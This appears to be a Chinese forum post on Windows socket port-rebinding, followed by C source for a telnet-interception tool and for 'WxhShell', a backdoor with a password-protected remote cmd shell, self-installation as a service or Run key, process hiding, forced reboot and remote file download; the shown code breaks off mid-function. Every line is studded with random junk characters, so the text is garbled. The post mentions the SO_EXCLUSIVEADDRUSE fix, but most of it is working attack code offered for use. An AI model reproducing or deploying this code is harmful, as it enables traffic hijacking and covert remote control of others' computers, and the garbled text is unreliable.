在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
K;<NBnH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
LPq*ZZK ?r
-\%_J_( saddr.sin_family = AF_INET;
^ [X|As2 u"`5 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{\vI9cni|" 'h!h! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ULp)T`P 9]]!8_0=r 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
7af?E)}v Y=P9:unG 这意味着什么?意味着可以进行如下的攻击:
Mv/IMO0rR
GN:Ru|n 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
88 Fb1!a5Z S+.21, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ri/t(m^{W w8AJ#9W 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
#d}0}7ue 4o1Q7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:0
W6uFNOU >:w?qEaE 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
jgk{'_ j `FZ(#GDF 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
K)<Wm,tON [n!$D(|"!V 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
9nT?|n]> kJ%{ [1fr #include
a(PjcQ4dY #include
e+NWmu{<_ #include
SL[rn<x| #include
:wQC_; DWORD WINAPI ClientThread(LPVOID lpParam);
j4E H2v int main()
R(M}0JRm {
IY];Ss&i WORD wVersionRequested;
T{_1c oL DWORD ret;
AkxH WSADATA wsaData;
#=X)Jx~ BOOL val;
ShC_hi SOCKADDR_IN saddr;
Jy]FrSm^ SOCKADDR_IN scaddr;
8!Wfd)4=,F int err;
=jJ H^Y2 SOCKET s;
>}-~rZ SOCKET sc;
`)rg|~#k int caddsize;
17e=GL HANDLE mt;
e{v,x1Y_z( DWORD tid;
L@7Qs6G2u wVersionRequested = MAKEWORD( 2, 2 );
pwa.q err = WSAStartup( wVersionRequested, &wsaData );
_L$)2sl1R if ( err != 0 ) {
TFBYY{Y printf("error!WSAStartup failed!\n");
T&?w"T2y return -1;
$-m@KB }
9uuta4&uI saddr.sin_family = AF_INET;
i?ZA x4D oR-O~_)U //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/0Z|+L9Jo zl0;84:H saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
t[%x}0FP-F saddr.sin_port = htons(23);
^Ku\l #B if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~RcNZ\2y {
VT'0DQ!NIq printf("error!socket failed!\n");
o^6jyb!j return -1;
4uFIpS|rq }
3Z_t%J5QZ$ val = TRUE;
$8jaapNm@ //SO_REUSEADDR选项就是可以实现端口重绑定的
d/l,C4p if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6,B-:{{e" {
?lF mXZy` printf("error!setsockopt failed!\n");
\|v `l{ return -1;
V@B7P{gH }
J
cP~-cp //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
!A~d[</]m //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
F;pTXt}?5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
yPSVwe|g 66/Z\H^d if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
E^7C
_JP {
aPprMQ5 ret=GetLastError();
tJff+n> printf("error!bind failed!\n");
'P+f|d[ return -1;
zT$0xj8 }
_~juv& listen(s,2);
Sbp while(1)
aD+0\I[x {
k69kv9v@J caddsize = sizeof(scaddr);
~D*b3K8X //接受连接请求
<'W=]IAV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ldK>HxM%Z if(sc!=INVALID_SOCKET)
_Q>
"\_, {
+yGY785b mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
p=2zS. if(mt==NULL)
{W-5:~?" {
Dh2#$[/@1 printf("Thread Creat Failed!\n");
3Hs$]nQ_X break;
kzMa+(fu }
YbzM6u2 }
j+$M?Z^ CloseHandle(mt);
oE$hqd s }
hXNH"0VCV closesocket(s);
q1STRYb WSACleanup();
=PV/`I_h return 0;
wcwQj Hwd
}
~eHRlXL' DWORD WINAPI ClientThread(LPVOID lpParam)
2@sr:,\1 {
yE}BfU { . SOCKET ss = (SOCKET)lpParam;
9WOu8Ia SOCKET sc;
d`85P+Qen| unsigned char buf[4096];
D@#0 dDT SOCKADDR_IN saddr;
XjxPIdX_H long num;
uWh|C9Y!A DWORD val;
CldDr<k3 DWORD ret;
z/weit //如果是隐藏端口应用的话,可以在此处加一些判断
_$8{;1$T? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
8qN"3 Et saddr.sin_family = AF_INET;
V>B'+b+< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
m*`cuSU|o saddr.sin_port = htons(23);
4\\.n if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i =-8@ {
eI0F!Yon printf("error!socket failed!\n");
MO-!TZ+6 return -1;
_AprkI_ }
mGO>""<: val = 100;
`YU=~xQ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2yvVeo&3 {
&-=K:;x ret = GetLastError();
"NKf0F return -1;
U~wjR"=' }
JIMWMk;ot if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o*-9J2V=J {
-3` "E%9 ret = GetLastError();
N};t<Xev return -1;
qJ
95 }
BMpF02Y|4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
M'DWu|dIBA {
sXiv, printf("error!socket connect failed!\n");
*
MEe,4 closesocket(sc);
9s(i`RTM closesocket(ss);
[A]Ca$': return -1;
JD ]OIh }
1Fs-0)s8 while(1)
0vn[a,W<A {
gM#jA8gz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
\-c#jo.$8 //如果是嗅探内容的话,可以再此处进行内容分析和记录
5KJ%]B(H2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
U;pe: num = recv(ss,buf,4096,0);
&+G;R if(num>0)
N 'i,> send(sc,buf,num,0);
-6`;},Yr else if(num==0)
a8zZgIV break;
mB`D}g$ num = recv(sc,buf,4096,0);
lufeieW if(num>0)
L<=) @7 send(ss,buf,num,0);
(UGol[f< else if(num==0)
'B`#:tX^N break;
c" +zgP }
f TO+ZTRqf closesocket(ss);
Tm_8<$ 7 closesocket(sc);
;%Q&hwj return 0 ;
' S ,2 }
x,\!DLq:p R*bmu B)6#Lp3 ==========================================================
t.)AggXj# 3fp> 4;ym' 下边附上一个代码,,WXhSHELL
m2 O&2[g UOt8Q0)} ==========================================================
'_0 krjN7& #include "stdafx.h"
@1g&Z}L
o SO3cY#i
z" #include <stdio.h>
+xp*]a #include <string.h>
_B[WY #include <windows.h>
:6D0j #include <winsock2.h>
!y. $J< #include <winsvc.h>
\I:.<2i #include <urlmon.h>
/H)Br~ l {cR=N~_EO #pragma comment (lib, "Ws2_32.lib")
Rh<N);Sl7 #pragma comment (lib, "urlmon.lib")
+c) TDH #9:2s$O[x #define MAX_USER 100 // 最大客户端连接数
bi$VAYn.^ #define BUF_SOCK 200 // sock buffer
=EpJZt #define KEY_BUFF 255 // 输入 buffer
0hwj\{" |dk[cX> #define REBOOT 0 // 重启
8W -@N #define SHUTDOWN 1 // 关机
1
i3k NR3`M?Hjf #define DEF_PORT 5000 // 监听端口
6t7fa< vq>l>as9O #define REG_LEN 16 // 注册表键长度
k>5 O`Y: #define SVC_LEN 80 // NT服务名长度
;LQ9#M? opD-vDa h // 从dll定义API
mmP U
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
L/i(KF{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ARWZ; GX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*
t!r@k typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
vv+J0f^ {G*OR,HN // wxhshell配置信息
d!V$Y}n struct WSCFG {
p/*"4-S int ws_port; // 监听端口
<2<87PU char ws_passstr[REG_LEN]; // 口令
pbLGe' int ws_autoins; // 安装标记, 1=yes 0=no
d~Mg
vh' char ws_regname[REG_LEN]; // 注册表键名
S
GM!#K char ws_svcname[REG_LEN]; // 服务名
78]gtJ char ws_svcdisp[SVC_LEN]; // 服务显示名
&{z<kmc$6 char ws_svcdesc[SVC_LEN]; // 服务描述信息
P^i.La, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
E\$C/}T int ws_downexe; // 下载执行标记, 1=yes 0=no
d#>y }H9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&z@~B&O char ws_filenam[SVC_LEN]; // 下载后保存的文件名
nIBFk?)6 h}&b+1{X };
]tY:,Mfs Cv^`&\[SW+ // default Wxhshell configuration
;`UecLb# struct WSCFG wscfg={DEF_PORT,
Yb:pAzw6 "xuhuanlingzhe",
:(p)1=I 1,
Lgi[u"Du "Wxhshell",
_~M^ uW^l "Wxhshell",
kg>>D "WxhShell Service",
o@k84+tn( "Wrsky Windows CmdShell Service",
A5nO= "Please Input Your Password: ",
0m)&YFZ[( 1,
4l @)K9F "
http://www.wrsky.com/wxhshell.exe",
AIZBo@xg "Wxhshell.exe"
'Cc(3 };
d8OL!Rk LM"y\q ] // 消息定义模块
_^\$"nw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
][7p+IsB char *msg_ws_prompt="\n\r? for help\n\r#>";
F]_cbM{8/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
a$JLc a char *msg_ws_ext="\n\rExit.";
`hrQw)5?r char *msg_ws_end="\n\rQuit.";
XvKFPr0~ char *msg_ws_boot="\n\rReboot...";
GwLFL.Ke char *msg_ws_poff="\n\rShutdown...";
xs!p| char *msg_ws_down="\n\rSave to ";
JhX=l-? ln<]-)&C char *msg_ws_err="\n\rErr!";
p#@Z$gTH`' char *msg_ws_ok="\n\rOK!";
%*W<vu>H 50~K,Jx6B char ExeFile[MAX_PATH];
^gYD*K!* int nUser = 0;
2]WE({P HANDLE handles[MAX_USER];
&`!^Zq vG int OsIsNt;
8;" *6vHZ (^n*Am;zlH SERVICE_STATUS serviceStatus;
51xk>_Hm}| SERVICE_STATUS_HANDLE hServiceStatusHandle;
s;1h-Oq( :&w{\-0{ // 函数声明
jbte
*Ae int Install(void);
ycr"Y| int Uninstall(void);
;*cLG#&'M int DownloadFile(char *sURL, SOCKET wsh);
{9 PR()_ int Boot(int flag);
]axh*J3`i void HideProc(void);
*xs!5|n+ int GetOsVer(void);
kB
P*K int Wxhshell(SOCKET wsl);
<J{'o`{ void TalkWithClient(void *cs);
I+;-p]~ int CmdShell(SOCKET sock);
L%cVykWY" int StartFromService(void);
f CcD&<% int StartWxhshell(LPSTR lpCmdLine);
aT!;{+ hOk00az VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
m{%t?w$Au VOID WINAPI NTServiceHandler( DWORD fdwControl );
;4#D,z lO^ !<n"6KA. // 数据结构和表定义
|m
G7XL, SERVICE_TABLE_ENTRY DispatchTable[] =
0ejdKdYN {
0$P/jt {wscfg.ws_svcname, NTServiceMain},
buMqF-j {NULL, NULL}
-J0WUN$2* };
#exss=as/ d- E4~)Qy // 自我安装
9NpD!A&64< int Install(void)
F%/h* {
`a]44es9q char svExeFile[MAX_PATH];
D'[Uc6 HKEY key;
ktH8as^54! strcpy(svExeFile,ExeFile);
g:#dl\k !<\Br // 如果是win9x系统,修改注册表设为自启动
v"Jgw;3 if(!OsIsNt) {
5OP`c< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lWZuXb,G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#D%ygh= RegCloseKey(key);
*cv}*D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!1sU>Xb4J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.ln8|;% RegCloseKey(key);
Iy7pt~DJ, return 0;
k(s;,B\ }
O8u3y }
~H6;I$e[ }
\h{r;#g else {
|M~ON= PX,rWkOce // 如果是NT以上系统,安装为系统服务
v."Dnl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
9.+/~$Ht
if (schSCManager!=0)
,L YFEq_ {
`,Vv["^ PB SC_HANDLE schService = CreateService
I!: z,t< (
= (,
^du' schSCManager,
xFFr wscfg.ws_svcname,
eiMH['X5 wscfg.ws_svcdisp,
yJJ4~j){l SERVICE_ALL_ACCESS,
*OTS'W~t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
j|(Z#3J SERVICE_AUTO_START,
A.%CAGU5w SERVICE_ERROR_NORMAL,
Tupiq svExeFile,
/2uQCw&x- NULL,
+Ov2`O8? NULL,
{1lO NULL,
:`,3h% NULL,
${&5]!E[>D NULL
m}Y0xV9 );
`$5UHa2/ if (schService!=0)
\ FzM4- {
<G3&z#]#4 CloseServiceHandle(schService);
uOi&G:= CloseServiceHandle(schSCManager);
~P f5ORoe strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
r.3KPiYK strcat(svExeFile,wscfg.ws_svcname);
/.Jb0h[W1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
fP-|+TyO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
dE=Ue#1U@5 RegCloseKey(key);
)ZR+lX} return 0;
Qo0H }
r0dDHj~F }
6L4$vJ CloseServiceHandle(schSCManager);
6j9)/ HP }
c+' =hR[ }
}ZOFYu0f @ GDX7TPV return 1;
HeN~c<NuB }
x^= M6;: &<x@1, // 自我卸载
Ukphd$3J= int Uninstall(void)
P&A|PY,P {
pxINw>\Qv HKEY key;
e;95a xK%= if(!OsIsNt) {
`k{& /] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\c`oy=qY0 RegDeleteValue(key,wscfg.ws_regname);
omX?Bl RegCloseKey(key);
8\ha@&p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
QBJ3iQs1 RegDeleteValue(key,wscfg.ws_regname);
<fO4{k*& RegCloseKey(key);
_%@=Uc6V return 0;
x%>
e)L< }
90N`CXas }
akuJz }
Wsj=!Obc else {
-e@! $ChK]v
6C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}-<zWI{p if (schSCManager!=0)
bha?eN {
f^<6`Aeq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
vwGeD|Fb5 if (schService!=0)
0lk;F {
L;t)c if(DeleteService(schService)!=0) {
CC >=UF CloseServiceHandle(schService);
#VbVsl CloseServiceHandle(schSCManager);
jFG0`n}I return 0;
N+W&NlZ
}
'Pltn{iq[ CloseServiceHandle(schService);
adEJk }
q 2?X"! CloseServiceHandle(schSCManager);
I*[tMzE }
V9 }t0$LN }
|1=
!;.# T5lQIr@a return 1;
xycH~ ? }
Z+:D)L [Gr*,nVvB // 从指定url下载文件
kMxazx1 int DownloadFile(char *sURL, SOCKET wsh)
tJI,r_ {
w5C*L)l HRESULT hr;
BNGe
exs@ char seps[]= "/";
WgR4Ix^L# char *token;
*<V^2z$y_ char *file;
3yS char myURL[MAX_PATH];
TW&DFKK` char myFILE[MAX_PATH];
JN3cg ``Q2P% strcpy(myURL,sURL);
7YIK9edP token=strtok(myURL,seps);
'C+;r?1!h while(token!=NULL)
Yn51U6_S {
&%aXR A#+ file=token;
8%{q%+ token=strtok(NULL,seps);
!UBO_X%dz }
V1=*z =H]F`[B= GetCurrentDirectory(MAX_PATH,myFILE);
"kW!{n strcat(myFILE, "\\");
TJ@Cj y% strcat(myFILE, file);
-C7 FuD[Xw send(wsh,myFILE,strlen(myFILE),0);
FcbM7/ send(wsh,"...",3,0);
%kI}
[6J_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
w2gf&Lc\ if(hr==S_OK)
[pOg' return 0;
h+7># *DH else
/L=(^k=a.; return 1;
3HV%4nZLf yYJY;".H }
L wJ0 y&T&1o // 系统电源模块
(g8*d^u#PO int Boot(int flag)
tl8O6`<Z {
+RZ~LA\+ HANDLE hToken;
=ZYThfAEw TOKEN_PRIVILEGES tkp;
Y#V8(DTyH P<dy3; if(OsIsNt) {
VkmRh,T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
D@Da0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
H3/caN: tkp.PrivilegeCount = 1;
#~ v4caNx tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
$+=
<(* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
B;zt#H4 if(flag==REBOOT) {
|(IO=V4P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0OZ Mlt%z return 0;
h,t|V}Wb }
.=RlOK else {
!F4;_A`X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
JMV50 y return 0;
!AN^ ,v]D }
+JdZPb }
{Q(}DI else {
c-]fKj7 if(flag==REBOOT) {
_ *(bmJM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
gvavs+H% return 0;
cA`4:gp }
~4 #B'Gy[ else {
Wsz0yHD[` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.jg0a return 0;
j.?:Gaab?# }
D>ef }
2OBfHO~D m9$:9yRm return 1;
D9ufoa&ua }
#B}?Zg a=]Wzlz // win9x进程隐藏模块
LgqGVh3\s void HideProc(void)
3!9Z=-tD {
C*~aSl7 HD`>-E# HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
F3E[wdT if ( hKernel != NULL )
AHh#Fx+K {
_2Py\+$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_2Zp1h, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
|H)cuZ FreeLibrary(hKernel);
_GaJXWMbk }
+c,[ Q Q\_{d0
0 return;
[[L-jq.' }
:R6Q=g= F4I6P // 获取操作系统版本
#;r]/)> int GetOsVer(void)
0&w0aP`Y {
}p3b#fAr OSVERSIONINFO winfo;
rzLd"` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
gSi5u#}J GetVersionEx(&winfo);
XX; 6 P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
y;`eDS'0.N return 1;
%_)zWlN else
|"7Pv
skT return 0;
S3\jcgrS }
>.%4~\U Epjff@7A // 客户端句柄模块
@PkJY int Wxhshell(SOCKET wsl)
vs9?+3 {
mV\$q@sII SOCKET wsh;
] f7#N struct sockaddr_in client;
-;c DWORD myID;
6SEltm( z/|BH^Vw while(nUser<MAX_USER)
.Ao0;:;(2- {
K b(9)Re int nSize=sizeof(client);
';YgG<u wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
D'i6",Z> if(wsh==INVALID_SOCKET) return 1;
!$xu(D. Eu<r$6Q0}o handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{w5Z7s0 if(handles[nUser]==0)
$[CA&Y. closesocket(wsh);
l gq=GHW else
p8>%Mflf nUser++;
&r_uQbx }
fEqC] *s WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
KCqqJ}G )2j:z#'> return 0;
bKz{wm% }
3VO:+mT <0j{ $. // 关闭 socket
&9 B_/m3 void CloseIt(SOCKET wsh)
@)0 Y~A ) {
uH{'gd,q8 closesocket(wsh);
5w3Fqu>39? nUser--;
78Y@OL_$ ExitThread(0);
xy^1US,L1 }
vOT*iax0 X0i3 _RVa // 客户端请求句柄
h}Ygb-uZ void TalkWithClient(void *cs)
Lo`F {
4M`Xrfwm'[ `iYc<N` SOCKET wsh=(SOCKET)cs;
:t$A8+A+0 char pwd[SVC_LEN];
{8CWWfHCD char cmd[KEY_BUFF];
&=w|vB)(p char chr[1];
UzQ$B> f int i,j;
avNLV PdE>@0X?M while (nUser < MAX_USER) {
7'j9rmTXs Mtp%co )f if(wscfg.ws_passstr) {
esq<xuZM4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
X>3^a'2,E //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&HF]\`RNr //ZeroMemory(pwd,KEY_BUFF);
_}=E^/;( i=0;
i^g~~h
F while(i<SVC_LEN) {
zO.6WJ Rc9<^g` // 设置超时
mK\aI fd_set FdRead;
[m#NfA:h, struct timeval TimeOut;
xZ ;bMxZ FD_ZERO(&FdRead);
3M*Y= ?pI FD_SET(wsh,&FdRead);
"$@,n7k TimeOut.tv_sec=8;
]P3[.$z TimeOut.tv_usec=0;
P\(30 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
LknVqZ|k if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
-Bv12ymLG bXvbddu)} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
,}7_[b)&V pwd
=chr[0]; M,..Kw/ }~
if(chr[0]==0xd || chr[0]==0xa) { Je~p%m#e;K
pwd=0; P(_(w
9
break; 2Ow<`[7
} a<p
%hY3
i++; _S5gcPcF"
} V/-MIH7SF
cjT[P"5$
// 如果是非法用户,关闭 socket sp{j!NSL
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dXZP[K#
} Lz6*H1~
2f{kBD
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AU`OESSI
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7A0dl}:
O5MDGg
while(1) { B9W/bJ6%
"::9aYd!
ZeroMemory(cmd,KEY_BUFF); {PmzkT}LF
B\zoJg&7(
// 自动支持客户端 telnet标准 @_O3&ZK
j=0; .zwVCW,u
while(j<KEY_BUFF) { K+> V|zKuk
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B1,?{Ur
cmd[j]=chr[0]; 3 2y[
if(chr[0]==0xa || chr[0]==0xd) { Zd XKI{b
cmd[j]=0; nKu(XgFv
break; %8<2>
} ;MZbL)
j++; p">WK<N
} {X]9^=O"
.EzSSU7n)
// 下载文件 6o(lObfo
if(strstr(cmd,"http://")) { J/[7d?hI/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ij,Yuo
if(DownloadFile(cmd,wsh)) I+~\
w N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1>;6x^_h0S
else !7Uu]m69n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kaC+I"4c
} ?\d5;%YSr
else { PL!tk^;6-
J~'~[,K
switch(cmd[0]) { S5/p=H:
!ABLd|tP
// 帮助 PHQcstW
case '?': { 2<m
Q,,j
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'tSnH&c
break; Q'C4pn@
} Xky@[Td*
// 安装 wOM<XhZ
case 'i': { U,d2DAvt
if(Install()) |i s 9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZR2\dH*
else 7_7xL(F/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #'KY`&Tw&
break; GJ>ypEWo
} _-(z@
// 卸载 Y`q!V=
case 'r': { YpiRF+G
if(Uninstall()) *.,8,e8Vq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Es:5yX!
else ~Ji>[#W
K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WQTendS
break; $'y1Po'2
} %Au T8
// 显示 wxhshell 所在路径 KG-UW
case 'p': { I,w^?o
char svExeFile[MAX_PATH]; dkETM,
strcpy(svExeFile,"\n\r"); i >J:W"W
strcat(svExeFile,ExeFile); DWdLA~'t
send(wsh,svExeFile,strlen(svExeFile),0); 6\XP|n-0+0
break; WEps.]s
} }il%AAI9}r
// 重启 cS5w +`,L
case 'b': { ^`/V i
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (+@faP
if(Boot(REBOOT)) 65uZLsQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y0rf9
else { D8a)( wm
closesocket(wsh); 5#P: "U
ExitThread(0); 2"zI R(
} 0NVG"-Q
break; ]y$)%J^T
} [;Vi~$p|Eo
// 关机 (tTLK0V-|3
case 'd': { e1oFnu2R
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )!BB/'DRQ
if(Boot(SHUTDOWN)) gca|?tt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s!bHS_\e|
else { RLv&,$$0
closesocket(wsh); rnJS[o0
ExitThread(0); Qz'O{f
} J&(
break; EWSr@}2j
.
} ws#hhW3qK
// 获取shell l
DgzM3
case 's': { h)"'YzCt
CmdShell(wsh); FyQOa) 5
closesocket(wsh); 9]"\"ka3>
ExitThread(0); bx1G
CD
break; pVdhj^n
} kg zwlKK
// 退出 CzK%x?~]
case 'x': { :u,2"]
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -DA;KWYS
CloseIt(wsh); HW^{ ;'kH~
break; (2n3exx
} >3v0yh_3
// 离开 w($XEv;
case 'q': { r#ks>s
send(wsh,msg_ws_end,strlen(msg_ws_end),0); #d3[uF]OmW
closesocket(wsh); AX/=}G
WSACleanup(); &mCs%l
exit(1); (
?atGFgu
break; *sIi$1vHu
} h\Z3y AYd
} hLu&lY
} >6n@\n
R9S7_u
// 提示信息 $[WN[J
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ufyxw5u5F
} Z?vY3)
} lv*Wnn@k
}Ox2olUX
return; Z`e$~n(Bh
} AEBw#v!,o
*9\oD~2Y
// shell模块句柄 #1gTpb+t
int CmdShell(SOCKET sock) 9?EY.}~
{ LPtx|Sx![
STARTUPINFO si; +# m
ZeroMemory(&si,sizeof(si)); F[Qs v54
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wI|bBfd(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jJiCF,m
PROCESS_INFORMATION ProcessInfo; g`y/_
char cmdline[]="cmd"; b#bO=T$e-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 89 _&X[X
return 0; #MmmwPB_
} J$o[$G_Z
1',+&2)oj
// 自身启动模式 qdg= Imx
int StartFromService(void) bvt-leA=
{ r>n8`W
typedef struct 18l~4"|fk
{ fSm?27_
DWORD ExitStatus; F>hVrUD8
DWORD PebBaseAddress; vLVSZX
DWORD AffinityMask; Ktj(&/~}
DWORD BasePriority; T1Ln)CS?9
